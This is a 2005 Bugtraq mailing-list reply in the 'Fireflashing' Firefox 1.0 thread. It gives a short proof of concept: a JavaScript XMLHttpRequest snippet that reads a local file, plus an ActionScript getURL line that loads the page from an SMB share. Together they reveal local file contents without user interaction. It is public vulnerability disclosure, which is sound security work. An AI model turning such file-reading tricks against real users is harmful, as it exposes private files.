bugtraq - Re: Fireflashing [Firefox 1.0]

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Message-ID: <420E11DA.4030807@planet.nl>
Date: Sat, 12 Feb 2005 15:25:30 +0100
From: Jelmer Kuperus <jkuperus@...net.nl>
To: mikx <mikx@...x.de>
Cc: NTBUGTRAQ@...TSERV.NTBUGTRAQ.COM, bugtraq@...urityfocus.com,
        full-disclosure@...ts.netsys.com
Subject: Re: Fireflashing [Firefox 1.0]


I took a quick 5 minute look at this, and it looks like you can read 
arbitrary files with this without requiring any kind of user interaction.

Just create a file called whatever.html on a windows SMB share with this 
content

--snip--

<script language="javascript">
    var oXML=new XMLHttpRequest();
    oXML.open("GET","file:///C:/jelmer.txt",false);
    oXML.send(null);
    alert(oXML.responseText);
</script>

--snip--

Now create a flash file that opens file://///SOME_IP/SHARENAME/whatever.html
(I just created an empty flash file with a single action that contained 
the following line of actionscript : getURL 
("file://///SOME_IP/SHARENAME/whatever.html", "_self"); )
and presto it will display the contents of c:\jelmer.txt

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